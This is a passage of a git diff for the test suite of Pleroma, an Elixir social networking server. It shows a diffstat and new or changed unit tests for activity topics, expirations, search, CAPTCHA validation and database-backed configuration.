summaryrefslogtreecommitdiff
path: root/test
diff options
context:
space:
mode:
Diffstat (limited to 'test')
-rw-r--r--test/activity/ir/topics_test.exs141
-rw-r--r--test/activity_expiration_test.exs27
-rw-r--r--test/activity_test.exs80
-rw-r--r--test/captcha_test.exs20
-rw-r--r--test/config/config_db_test.exs713
-rw-r--r--test/config/holder_test.exs34
-rw-r--r--test/config/loader_test.exs44
-rw-r--r--test/config/transfer_task_test.exs97
-rw-r--r--test/config_test.exs2
-rw-r--r--test/conversation/participation_test.exs266
-rw-r--r--test/conversation_test.exs12
-rw-r--r--test/daemons/activity_expiration_daemon_test.exs17
-rw-r--r--test/daemons/digest_email_daemon_test.exs35
-rw-r--r--test/daemons/scheduled_activity_daemon_test.exs (renamed from test/scheduled_activity_worker_test.exs)6
-rw-r--r--test/docs/generator_test.exs230
-rw-r--r--test/emails/admin_email_test.exs20
-rw-r--r--test/emails/mailer_test.exs8
-rw-r--r--test/emails/user_email_test.exs4
-rw-r--r--test/emoji/formatter_test.exs61
-rw-r--r--test/emoji/loader_test.exs83
-rw-r--r--test/emoji_test.exs91
-rw-r--r--test/federation/federation_test.exs47
-rw-r--r--test/fixtures/bogus-mastodon-announce.json43
-rw-r--r--test/fixtures/config/temp.secret.exs9
-rw-r--r--test/fixtures/emoji-reaction.json30
-rw-r--r--test/fixtures/mastodon-announce-private.json35
-rw-r--r--test/fixtures/mastodon-undo-like-compact-object.json29
-rw-r--r--test/fixtures/mastodon-update.json36
-rw-r--r--test/fixtures/misskey-like.json14
-rw-r--r--test/fixtures/modules/runtime_module.ex9
-rw-r--r--test/fixtures/nypd-facial-recognition-children-teenagers.html227
-rw-r--r--test/fixtures/nypd-facial-recognition-children-teenagers2.html226
-rw-r--r--test/fixtures/nypd-facial-recognition-children-teenagers3.html227
-rw-r--r--test/fixtures/osada-follow-activity.json56
-rw-r--r--test/fixtures/tesla_mock/admin@mastdon.example.org.json60
-rw-r--r--test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json1
-rw-r--r--test/fixtures/tesla_mock/kpherox@mstdn.jp.xml10
-rw-r--r--test/fixtures/tesla_mock/misskey_poll_no_end_date.json1
-rw-r--r--test/fixtures/tesla_mock/mobilizon.org-event.json1
-rw-r--r--test/fixtures/tesla_mock/mobilizon.org-user.json1
-rw-r--r--test/fixtures/tesla_mock/moonman@shitposter.club.json1
-rw-r--r--test/fixtures/tesla_mock/mstdn.jp_host_meta4
-rw-r--r--test/fixtures/tesla_mock/osada-user-indio.json1
-rw-r--r--test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json12
-rw-r--r--test/fixtures/tesla_mock/poll_modified.json1
-rw-r--r--test/fixtures/tesla_mock/poll_original.json1
-rw-r--r--test/fixtures/tesla_mock/relay@mastdon.example.org.json55
-rw-r--r--test/fixtures/tesla_mock/rin.json1
-rw-r--r--test/fixtures/tesla_mock/sdf.org_host_meta4
-rw-r--r--test/fixtures/tesla_mock/sjw.json1
-rw-r--r--test/fixtures/tesla_mock/snowdusk@sdf.org_host_meta.json12
-rw-r--r--test/fixtures/tesla_mock/soykaf.com_host_meta4
-rw-r--r--test/fixtures/tesla_mock/stopwatchingus-heidelberg.de_host_meta31
-rw-r--r--test/fixtures/tesla_mock/wedistribute-article.json18
-rw-r--r--test/fixtures/tesla_mock/wedistribute-user.json31
-rw-r--r--test/fixtures/tesla_mock/xn--q9jyb4c_host_meta4
-rw-r--r--test/fixtures/users_mock/friendica_followers.json19
-rw-r--r--test/fixtures/users_mock/friendica_following.json19
-rw-r--r--test/fixtures/users_mock/masto_closed_followers_page.json1
-rw-r--r--test/fixtures/users_mock/masto_closed_following_page.json1
-rw-r--r--test/flake_id_test.exs42
-rw-r--r--test/following_relationship_test.exs47
-rw-r--r--test/formatter_test.exs146
-rw-r--r--test/healthcheck_test.exs9
-rw-r--r--test/html_test.exs57
-rw-r--r--test/http/request_builder_test.exs18
-rw-r--r--test/instance_static/emoji/test_pack/blank.pngbin0 -> 95 bytes
-rw-r--r--test/instance_static/emoji/test_pack/pack.json13
-rw-r--r--test/instance_static/emoji/test_pack_for_import/blank.pngbin0 -> 95 bytes
-rw-r--r--test/instance_static/emoji/test_pack_nonshared/nonshared.zipbin0 -> 256 bytes
-rw-r--r--test/instance_static/emoji/test_pack_nonshared/pack.json16
-rw-r--r--test/integration/mastodon_websocket_test.exs51
-rw-r--r--test/job_queue_monitor_test.exs70
-rw-r--r--test/list_test.exs13
-rw-r--r--test/marker_test.exs51
-rw-r--r--test/moderation_log_test.exs297
-rw-r--r--test/notification_test.exs323
-rw-r--r--test/object/containment_test.exs26
-rw-r--r--test/object/fetcher_test.exs63
-rw-r--r--test/object_test.exs238
-rw-r--r--test/pagination_test.exs78
-rw-r--r--test/plugs/admin_secret_authentication_plug_test.exs42
-rw-r--r--test/plugs/authentication_plug_test.exs8
-rw-r--r--test/plugs/cache_control_test.exs4
-rw-r--r--test/plugs/cache_test.exs186
-rw-r--r--test/plugs/ensure_public_or_authenticated_plug_test.exs19
-rw-r--r--test/plugs/http_security_plug_test.exs19
-rw-r--r--test/plugs/http_signature_plug_test.exs2
-rw-r--r--test/plugs/instance_static_test.exs12
-rw-r--r--test/plugs/legacy_authentication_plug_test.exs38
-rw-r--r--test/plugs/mapped_identity_to_signature_plug_test.exs2
-rw-r--r--test/plugs/oauth_plug_test.exs2
-rw-r--r--test/plugs/oauth_scopes_plug_test.exs244
-rw-r--r--test/plugs/rate_limiter_test.exs247
-rw-r--r--test/plugs/remote_ip_test.exs72
-rw-r--r--test/plugs/set_format_plug_test.exs38
-rw-r--r--test/plugs/set_locale_plug_test.exs2
-rw-r--r--test/plugs/uploaded_media_plug_test.exs2
-rw-r--r--test/plugs/user_enabled_plug_test.exs19
-rw-r--r--test/plugs/user_is_admin_plug_test.exs124
-rw-r--r--test/repo_test.exs43
-rw-r--r--test/reverse_proxy_test.exs62
-rw-r--r--test/runtime_test.exs11
-rw-r--r--test/safe_jsonb_set_test.exs12
-rw-r--r--test/scheduled_activity_test.exs2
-rw-r--r--test/signature_test.exs47
-rw-r--r--test/support/builders/user_builder.ex4
-rw-r--r--test/support/captcha_mock.ex2
-rw-r--r--test/support/channel_case.ex1
-rw-r--r--test/support/cluster.ex218
-rw-r--r--test/support/conn_case.ex26
-rw-r--r--test/support/data_case.ex6
-rw-r--r--test/support/factory.ex196
-rw-r--r--test/support/helpers.ex73
-rw-r--r--test/support/http_request_mock.ex381
-rw-r--r--test/support/mrf_module_mock.ex13
-rw-r--r--test/support/oban_helpers.ex42
-rw-r--r--test/support/web_push_http_client_mock.ex2
-rw-r--r--test/tasks/config_test.exs203
-rw-r--r--test/tasks/count_statuses_test.exs39
-rw-r--r--test/tasks/database_test.exs101
-rw-r--r--test/tasks/digest_test.exs54
-rw-r--r--test/tasks/ecto/migrate_test.exs2
-rw-r--r--test/tasks/instance_test.exs13
-rw-r--r--test/tasks/relay_test.exs27
-rw-r--r--test/tasks/robots_txt_test.exs8
-rw-r--r--test/tasks/user_test.exs129
-rw-r--r--test/test_helper.exs11
-rw-r--r--test/upload/filter/anonymize_filename_test.exs8
-rw-r--r--test/upload/filter/dedupe_test.exs2
-rw-r--r--test/upload/filter/mogrify_test.exs8
-rw-r--r--test/upload/filter_test.exs8
-rw-r--r--test/upload_test.exs44
-rw-r--r--test/uploaders/local_test.exs53
-rw-r--r--test/uploaders/s3_test.exs89
-rw-r--r--test/user/notification_setting_test.exs21
-rw-r--r--test/user_relationship_test.exs130
-rw-r--r--test/user_search_test.exs53
-rw-r--r--test/user_test.exs1109
-rw-r--r--test/web/activity_pub/activity_pub_controller_test.exs398
-rw-r--r--test/web/activity_pub/activity_pub_test.exs874
-rw-r--r--test/web/activity_pub/mrf/anti_link_spam_policy_test.exs22
-rw-r--r--test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs6
-rw-r--r--test/web/activity_pub/mrf/mrf_test.exs86
-rw-r--r--test/web/activity_pub/mrf/normalize_markup_test.exs10
-rw-r--r--test/web/activity_pub/mrf/object_age_policy_test.exs105
-rw-r--r--test/web/activity_pub/mrf/reject_non_public_test.exs7
-rw-r--r--test/web/activity_pub/mrf/simple_policy_test.exs123
-rw-r--r--test/web/activity_pub/mrf/user_allowlist_policy_test.exs7
-rw-r--r--test/web/activity_pub/mrf/vocabulary_policy_test.exs106
-rw-r--r--test/web/activity_pub/publisher_test.exs349
-rw-r--r--test/web/activity_pub/relay_test.exs114
-rw-r--r--test/web/activity_pub/transmogrifier/follow_handling_test.exs27
-rw-r--r--test/web/activity_pub/transmogrifier_test.exs828
-rw-r--r--test/web/activity_pub/utils_test.exs362
-rw-r--r--test/web/activity_pub/views/user_view_test.exs98
-rw-r--r--test/web/activity_pub/visibilty_test.exs3
-rw-r--r--test/web/admin_api/admin_api_controller_test.exs2545
-rw-r--r--test/web/admin_api/config_test.exs465
-rw-r--r--test/web/admin_api/search_test.exs14
-rw-r--r--test/web/admin_api/views/report_view_test.exs29
-rw-r--r--test/web/chat_channel_test.exs37
-rw-r--r--test/web/common_api/common_api_test.exs232
-rw-r--r--test/web/common_api/common_api_utils_test.exs271
-rw-r--r--test/web/fallback_test.exs4
-rw-r--r--test/web/federator_test.exs149
-rw-r--r--test/web/feed/feed_controller_test.exs251
-rw-r--r--test/web/instances/instance_test.exs15
-rw-r--r--test/web/instances/instances_test.exs12
-rw-r--r--test/web/masto_fe_controller_test.exs85
-rw-r--r--test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs360
-rw-r--r--test/web/mastodon_api/controllers/account_controller_test.exs841
-rw-r--r--test/web/mastodon_api/controllers/app_controller_test.exs60
-rw-r--r--test/web/mastodon_api/controllers/auth_controller_test.exs121
-rw-r--r--test/web/mastodon_api/controllers/conversation_controller_test.exs208
-rw-r--r--test/web/mastodon_api/controllers/custom_emoji_controller_test.exs22
-rw-r--r--test/web/mastodon_api/controllers/domain_block_controller_test.exs45
-rw-r--r--test/web/mastodon_api/controllers/filter_controller_test.exs123
-rw-r--r--test/web/mastodon_api/controllers/follow_request_controller_test.exs74
-rw-r--r--test/web/mastodon_api/controllers/instance_controller_test.exs77
-rw-r--r--test/web/mastodon_api/controllers/list_controller_test.exs142
-rw-r--r--test/web/mastodon_api/controllers/marker_controller_test.exs124
-rw-r--r--test/web/mastodon_api/controllers/media_controller_test.exs82
-rw-r--r--test/web/mastodon_api/controllers/notification_controller_test.exs490
-rw-r--r--test/web/mastodon_api/controllers/poll_controller_test.exs157
-rw-r--r--test/web/mastodon_api/controllers/report_controller_test.exs78
-rw-r--r--test/web/mastodon_api/controllers/scheduled_activity_controller_test.exs93
-rw-r--r--test/web/mastodon_api/controllers/search_controller_test.exs (renamed from test/web/mastodon_api/search_controller_test.exs)93
-rw-r--r--test/web/mastodon_api/controllers/status_controller_test.exs1226
-rw-r--r--test/web/mastodon_api/controllers/subscription_controller_test.exs (renamed from test/web/mastodon_api/subscription_controller_test.exs)0
-rw-r--r--test/web/mastodon_api/controllers/suggestion_controller_test.exs46
-rw-r--r--test/web/mastodon_api/controllers/timeline_controller_test.exs289
-rw-r--r--test/web/mastodon_api/list_view_test.exs22
-rw-r--r--test/web/mastodon_api/mastodon_api_controller/update_credentials_test.exs304
-rw-r--r--test/web/mastodon_api/mastodon_api_controller_test.exs3851
-rw-r--r--test/web/mastodon_api/mastodon_api_test.exs104
-rw-r--r--test/web/mastodon_api/views/account_view_test.exs (renamed from test/web/mastodon_api/account_view_test.exs)260
-rw-r--r--test/web/mastodon_api/views/conversation_view_test.exs35
-rw-r--r--test/web/mastodon_api/views/list_view_test.exs32
-rw-r--r--test/web/mastodon_api/views/marker_view_test.exs27
-rw-r--r--test/web/mastodon_api/views/notification_view_test.exs (renamed from test/web/mastodon_api/notification_view_test.exs)76
-rw-r--r--test/web/mastodon_api/views/poll_view_test.exs126
-rw-r--r--test/web/mastodon_api/views/push_subscription_view_test.exs (renamed from test/web/mastodon_api/push_subscription_view_test.exs)2
-rw-r--r--test/web/mastodon_api/views/scheduled_activity_view_test.exs (renamed from test/web/mastodon_api/scheduled_activity_view_test.exs)2
-rw-r--r--test/web/mastodon_api/views/status_view_test.exs (renamed from test/web/mastodon_api/status_view_test.exs)274
-rw-r--r--test/web/media_proxy/media_proxy_controller_test.exs2
-rw-r--r--test/web/media_proxy/media_proxy_test.exs67
-rw-r--r--test/web/metadata/feed_test.exs18
-rw-r--r--test/web/metadata/twitter_card_test.exs29
-rw-r--r--test/web/metadata/utils_test.exs32
-rw-r--r--test/web/node_info_test.exs65
-rw-r--r--test/web/oauth/app_test.exs33
-rw-r--r--test/web/oauth/authorization_test.exs2
-rw-r--r--test/web/oauth/ldap_authorization_test.exs17
-rw-r--r--test/web/oauth/oauth_controller_test.exs292
-rw-r--r--test/web/oauth/token/utils_test.exs2
-rw-r--r--test/web/oauth/token_test.exs2
-rw-r--r--test/web/ostatus/activity_representer_test.exs300
-rw-r--r--test/web/ostatus/feed_representer_test.exs59
-rw-r--r--test/web/ostatus/incoming_documents/delete_handling_test.exs48
-rw-r--r--test/web/ostatus/ostatus_controller_test.exs400
-rw-r--r--test/web/ostatus/ostatus_test.exs581
-rw-r--r--test/web/ostatus/user_representer_test.exs38
-rw-r--r--test/web/pleroma_api/controllers/account_controller_test.exs338
-rw-r--r--test/web/pleroma_api/controllers/emoji_api_controller_test.exs467
-rw-r--r--test/web/pleroma_api/controllers/mascot_controller_test.exs64
-rw-r--r--test/web/pleroma_api/controllers/pleroma_api_controller_test.exs232
-rw-r--r--test/web/pleroma_api/controllers/scrobble_controller_test.exs58
-rw-r--r--test/web/plugs/federating_plug_test.exs12
-rw-r--r--test/web/push/impl_test.exs90
-rw-r--r--test/web/rel_me_test.exs33
-rw-r--r--test/web/retry_queue_test.exs48
-rw-r--r--test/web/rich_media/aws_signed_url_test.exs3
-rw-r--r--test/web/rich_media/helpers_test.exs4
-rw-r--r--test/web/rich_media/parser_test.exs12
-rw-r--r--test/web/rich_media/parsers/twitter_card_test.exs69
-rw-r--r--test/web/salmon/salmon_test.exs101
-rw-r--r--test/web/static_fe/static_fe_controller_test.exs210
-rw-r--r--test/web/streamer/ping_test.exs36
-rw-r--r--test/web/streamer/state_test.exs54
-rw-r--r--test/web/streamer/streamer_test.exs (renamed from test/web/streamer_test.exs)313
-rw-r--r--test/web/twitter_api/password_controller_test.exs23
-rw-r--r--test/web/twitter_api/remote_follow_controller_test.exs235
-rw-r--r--test/web/twitter_api/representers/object_representer_test.exs60
-rw-r--r--test/web/twitter_api/twitter_api_controller_test.exs2159
-rw-r--r--test/web/twitter_api/twitter_api_test.exs315
-rw-r--r--test/web/twitter_api/util_controller_test.exs516
-rw-r--r--test/web/twitter_api/views/activity_view_test.exs384
-rw-r--r--test/web/twitter_api/views/notification_view_test.exs112
-rw-r--r--test/web/twitter_api/views/user_view_test.exs323
-rw-r--r--test/web/uploader_controller_test.exs2
-rw-r--r--test/web/views/error_view_test.exs2
-rw-r--r--test/web/web_finger/web_finger_controller_test.exs56
-rw-r--r--test/web/web_finger/web_finger_test.exs32
-rw-r--r--test/web/websub/websub_controller_test.exs92
-rw-r--r--test/web/websub/websub_test.exs232
256 files changed, 22746 insertions, 12595 deletions
diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs
new file mode 100644
index 000000000..e75f83586
--- /dev/null
+++ b/test/activity/ir/topics_test.exs
@@ -0,0 +1,141 @@
+defmodule Pleroma.Activity.Ir.TopicsTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Activity
+ alias Pleroma.Activity.Ir.Topics
+ alias Pleroma.Object
+
+ require Pleroma.Constants
+
+ describe "poll answer" do
+ test "produce no topics" do
+ activity = %Activity{object: %Object{data: %{"type" => "Answer"}}}
+
+ assert [] == Topics.get_activity_topics(activity)
+ end
+ end
+
+ describe "non poll answer" do
+ test "always add user and list topics" do
+ activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}}
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "user")
+ assert Enum.member?(topics, "list")
+ end
+ end
+
+ describe "public visibility" do
+ setup do
+ activity = %Activity{
+ object: %Object{data: %{"type" => "Note"}},
+ data: %{"to" => [Pleroma.Constants.as_public()]}
+ }
+
+ {:ok, activity: activity}
+ end
+
+ test "produces public topic", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public")
+ end
+
+ test "local action produces public:local topic", %{activity: activity} do
+ activity = %{activity | local: true}
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public:local")
+ end
+
+ test "non-local action does not produce public:local topic", %{activity: activity} do
+ activity = %{activity | local: false}
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "public:local")
+ end
+ end
+
+ describe "public visibility create events" do
+ setup do
+ activity = %Activity{
+ object: %Object{data: %{"type" => "Create", "attachment" => []}},
+ data: %{"to" => [Pleroma.Constants.as_public()]}
+ }
+
+ {:ok, activity: activity}
+ end
+
+ test "with no attachments doesn't produce public:media topics", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "public:media")
+ refute Enum.member?(topics, "public:local:media")
+ end
+
+ test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do
+ tagged_data = Map.put(data, "tag", ["foo", "bar"])
+ activity = %{activity | object: %{object | data: tagged_data}}
+
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "hashtag:foo")
+ assert Enum.member?(topics, "hashtag:bar")
+ end
+
+ test "only converts strinngs to hash tags", %{
+ activity: %{object: %{data: data} = object} = activity
+ } do
+ tagged_data = Map.put(data, "tag", [2])
+ activity = %{activity | object: %{object | data: tagged_data}}
+
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "hashtag:2")
+ end
+ end
+
+ describe "public visibility create events with attachments" do
+ setup do
+ activity = %Activity{
+ object: %Object{data: %{"type" => "Create", "attachment" => ["foo"]}},
+ data: %{"to" => [Pleroma.Constants.as_public()]}
+ }
+
+ {:ok, activity: activity}
+ end
+
+ test "produce public:media topics", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public:media")
+ end
+
+ test "local produces public:local:media topics", %{activity: activity} do
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "public:local:media")
+ end
+
+ test "non-local doesn't produce public:local:media topics", %{activity: activity} do
+ activity = %{activity | local: false}
+
+ topics = Topics.get_activity_topics(activity)
+
+ refute Enum.member?(topics, "public:local:media")
+ end
+ end
+
+ describe "non-public visibility" do
+ test "produces direct topic" do
+ activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}}
+ topics = Topics.get_activity_topics(activity)
+
+ assert Enum.member?(topics, "direct")
+ refute Enum.member?(topics, "public")
+ refute Enum.member?(topics, "public:local")
+ refute Enum.member?(topics, "public:media")
+ refute Enum.member?(topics, "public:local:media")
+ end
+ end
+end
diff --git a/test/activity_expiration_test.exs b/test/activity_expiration_test.exs
new file mode 100644
index 000000000..4948fae16
--- /dev/null
+++ b/test/activity_expiration_test.exs
@@ -0,0 +1,27 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.ActivityExpirationTest do
+ use Pleroma.DataCase
+ alias Pleroma.ActivityExpiration
+ import Pleroma.Factory
+
+ test "finds activities due to be deleted only" do
+ activity = insert(:note_activity)
+ expiration_due = insert(:expiration_in_the_past, %{activity_id: activity.id})
+ activity2 = insert(:note_activity)
+ insert(:expiration_in_the_future, %{activity_id: activity2.id})
+
+ expirations = ActivityExpiration.due_expirations()
+
+ assert length(expirations) == 1
+ assert hd(expirations) == expiration_due
+ end
+
+ test "denies expirations that don't live long enough" do
+ activity = insert(:note_activity)
+ now = NaiveDateTime.utc_now()
+ assert {:error, _} = ActivityExpiration.create(activity, now)
+ end
+end
diff --git a/test/activity_test.exs b/test/activity_test.exs
index b27f6fd36..e7ea2bd5e 100644
--- a/test/activity_test.exs
+++ b/test/activity_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityTest do
@@ -7,6 +7,7 @@ defmodule Pleroma.ActivityTest do
alias Pleroma.Activity
alias Pleroma.Bookmark
alias Pleroma.Object
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.ThreadMute
import Pleroma.Factory
@@ -125,8 +126,25 @@ defmodule Pleroma.ActivityTest do
}
{:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{"status" => "find me!"})
- {:ok, remote_activity} = Pleroma.Web.Federator.incoming_ap_doc(params)
- %{local_activity: local_activity, remote_activity: remote_activity, user: user}
+ {:ok, japanese_activity} = Pleroma.Web.CommonAPI.post(user, %{"status" => "更新情報"})
+ {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params)
+ {:ok, remote_activity} = ObanHelpers.perform(job)
+
+ %{
+ japanese_activity: japanese_activity,
+ local_activity: local_activity,
+ remote_activity: remote_activity,
+ user: user
+ }
+ end
+
+ test "finds utf8 text in statuses", %{
+ japanese_activity: japanese_activity,
+ user: user
+ } do
+ activities = Activity.search(user, "更新情報")
+
+ assert [^japanese_activity] = activities
end
test "find local and remote statuses for authenticated users", %{
@@ -164,4 +182,60 @@ defmodule Pleroma.ActivityTest do
Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
end
end
+
+ test "add an activity with an expiration" do
+ activity = insert(:note_activity)
+ insert(:expiration_in_the_future, %{activity_id: activity.id})
+
+ Pleroma.ActivityExpiration
+ |> where([a], a.activity_id == ^activity.id)
+ |> Repo.one!()
+ end
+
+ test "all_by_ids_with_object/1" do
+ %{id: id1} = insert(:note_activity)
+ %{id: id2} = insert(:note_activity)
+
+ activities =
+ [id1, id2]
+ |> Activity.all_by_ids_with_object()
+ |> Enum.sort(&(&1.id < &2.id))
+
+ assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities
+ end
+
+ test "get_by_id_with_object/1" do
+ %{id: id} = insert(:note_activity)
+
+ assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id)
+ end
+
+ test "get_by_ap_id_with_object/1" do
+ %{data: %{"id" => ap_id}} = insert(:note_activity)
+
+ assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} =
+ Activity.get_by_ap_id_with_object(ap_id)
+ end
+
+ test "get_by_id/1" do
+ %{id: id} = insert(:note_activity)
+
+ assert %Activity{id: ^id} = Activity.get_by_id(id)
+ end
+
+ test "all_by_actor_and_id/2" do
+ user = insert(:user)
+
+ {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofe"})
+ {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofefe"})
+
+ assert [] == Activity.all_by_actor_and_id(user, [])
+
+ activities =
+ user.ap_id
+ |> Activity.all_by_actor_and_id([id1, id2])
+ |> Enum.sort(&(&1.id < &2.id))
+
+ assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities
+ end
end
diff --git a/test/captcha_test.exs b/test/captcha_test.exs
index 7ca9a4607..393c8219e 100644
--- a/test/captcha_test.exs
+++ b/test/captcha_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.CaptchaTest do
@@ -8,6 +8,7 @@ defmodule Pleroma.CaptchaTest do
import Tesla.Mock
alias Pleroma.Captcha.Kocaptcha
+ alias Pleroma.Captcha.Native
@ets_options [:ordered_set, :private, :named_table, {:read_concurrency, true}]
@@ -43,4 +44,21 @@ defmodule Pleroma.CaptchaTest do
) == :ok
end
end
+
+ describe "Native" do
+ test "new and validate" do
+ new = Native.new()
+
+ assert %{
+ answer_data: answer,
+ token: token,
+ type: :native,
+ url: "data:image/png;base64," <> _
+ } = new
+
+ assert is_binary(answer)
+ assert :ok = Native.validate(token, answer, answer)
+ assert {:error, "Invalid CAPTCHA"} == Native.validate(token, answer, answer <> "foobar")
+ end
+ end
end
diff --git a/test/config/config_db_test.exs b/test/config/config_db_test.exs
new file mode 100644
index 000000000..812709fd8
--- /dev/null
+++ b/test/config/config_db_test.exs
@@ -0,0 +1,713 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.ConfigDBTest do
+ use Pleroma.DataCase, async: true
+ import Pleroma.Factory
+ alias Pleroma.ConfigDB
+
+ test "get_by_key/1" do
+ config = insert(:config)
+ insert(:config)
+
+ assert config == ConfigDB.get_by_params(%{group: config.group, key: config.key})
+ end
+
+ test "create/1" do
+ {:ok, config} = ConfigDB.create(%{group: ":pleroma", key: ":some_key", value: "some_value"})
+ assert config == ConfigDB.get_by_params(%{group: ":pleroma", key: ":some_key"})
+ end
+
+ test "update/1" do
+ config = insert(:config)
+ {:ok, updated} = ConfigDB.update(config, %{value: "some_value"})
+ loaded = ConfigDB.get_by_params(%{group: config.group, key: config.key})
+ assert loaded == updated
+ end
+
+ test "get_all_as_keyword/0" do
+ saved = insert(:config)
+ insert(:config, group: ":quack", key: ":level", value: ConfigDB.to_binary(:info))
+ insert(:config, group: ":quack", key: ":meta", value: ConfigDB.to_binary([:none]))
+
+ insert(:config,
+ group: ":quack",
+ key: ":webhook_url",
+ value: ConfigDB.to_binary("https://hooks.slack.com/services/KEY/some_val")
+ )
+
+ config = ConfigDB.get_all_as_keyword()
+
+ assert config[:pleroma] == [
+ {ConfigDB.from_string(saved.key), ConfigDB.from_binary(saved.value)}
+ ]
+
+ assert config[:quack] == [
+ level: :info,
+ meta: [:none],
+ webhook_url: "https://hooks.slack.com/services/KEY/some_val"
+ ]
+ end
+
+ describe "update_or_create/1" do
+ test "common" do
+ config = insert(:config)
+ key2 = "another_key"
+
+ params = [
+ %{group: "pleroma", key: key2, value: "another_value"},
+ %{group: config.group, key: config.key, value: "new_value"}
+ ]
+
+ assert Repo.all(ConfigDB) |> length() == 1
+
+ Enum.each(params, &ConfigDB.update_or_create(&1))
+
+ assert Repo.all(ConfigDB) |> length() == 2
+
+ config1 = ConfigDB.get_by_params(%{group: config.group, key: config.key})
+ config2 = ConfigDB.get_by_params(%{group: "pleroma", key: key2})
+
+ assert config1.value == ConfigDB.transform("new_value")
+ assert config2.value == ConfigDB.transform("another_value")
+ end
+
+ test "partial update" do
+ config = insert(:config, value: ConfigDB.to_binary(key1: "val1", key2: :val2))
+
+ {:ok, _config} =
+ ConfigDB.update_or_create(%{
+ group: config.group,
+ key: config.key,
+ value: [key1: :val1, key3: :val3]
+ })
+
+ updated = ConfigDB.get_by_params(%{group: config.group, key: config.key})
+
+ value = ConfigDB.from_binary(updated.value)
+ assert length(value) == 3
+ assert value[:key1] == :val1
+ assert value[:key2] == :val2
+ assert value[:key3] == :val3
+ end
+
+ test "deep merge" do
+ config = insert(:config, value: ConfigDB.to_binary(key1: "val1", key2: [k1: :v1, k2: "v2"]))
+
+ {:ok, config} =
+ ConfigDB.update_or_create(%{
+ group: config.group,
+ key: config.key,
+ value: [key1: :val1, key2: [k2: :v2, k3: :v3], key3: :val3]
+ })
+
+ updated = ConfigDB.get_by_params(%{group: config.group, key: config.key})
+
+ assert config.value == updated.value
+
+ value = ConfigDB.from_binary(updated.value)
+ assert value[:key1] == :val1
+ assert value[:key2] == [k1: :v1, k2: :v2, k3: :v3]
+ assert value[:key3] == :val3
+ end
+
+ test "only full update for some keys" do
+ config1 = insert(:config, key: ":ecto_repos", value: ConfigDB.to_binary(repo: Pleroma.Repo))
+
+ config2 =
+ insert(:config, group: ":cors_plug", key: ":max_age", value: ConfigDB.to_binary(18))
+
+ {:ok, _config} =
+ ConfigDB.update_or_create(%{
+ group: config1.group,
+ key: config1.key,
+ value: [another_repo: [Pleroma.Repo]]
+ })
+
+ {:ok, _config} =
+ ConfigDB.update_or_create(%{
+ group: config2.group,
+ key: config2.key,
+ value: 777
+ })
+
+ updated1 = ConfigDB.get_by_params(%{group: config1.group, key: config1.key})
+ updated2 = ConfigDB.get_by_params(%{group: config2.group, key: config2.key})
+
+ assert ConfigDB.from_binary(updated1.value) == [another_repo: [Pleroma.Repo]]
+ assert ConfigDB.from_binary(updated2.value) == 777
+ end
+
+ test "full update if value is not keyword" do
+ config =
+ insert(:config,
+ group: ":tesla",
+ key: ":adapter",
+ value: ConfigDB.to_binary(Tesla.Adapter.Hackney)
+ )
+
+ {:ok, _config} =
+ ConfigDB.update_or_create(%{
+ group: config.group,
+ key: config.key,
+ value: Tesla.Adapter.Httpc
+ })
+
+ updated = ConfigDB.get_by_params(%{group: config.group, key: config.key})
+
+ assert ConfigDB.from_binary(updated.value) == Tesla.Adapter.Httpc
+ end
+
+ test "only full update for some subkeys" do
+ config1 =
+ insert(:config,
+ key: ":emoji",
+ value: ConfigDB.to_binary(groups: [a: 1, b: 2], key: [a: 1])
+ )
+
+ config2 =
+ insert(:config,
+ key: ":assets",
+ value: ConfigDB.to_binary(mascots: [a: 1, b: 2], key: [a: 1])
+ )
+
+ {:ok, _config} =
+ ConfigDB.update_or_create(%{
+ group: config1.group,
+ key: config1.key,
+ value: [groups: [c: 3, d: 4], key: [b: 2]]
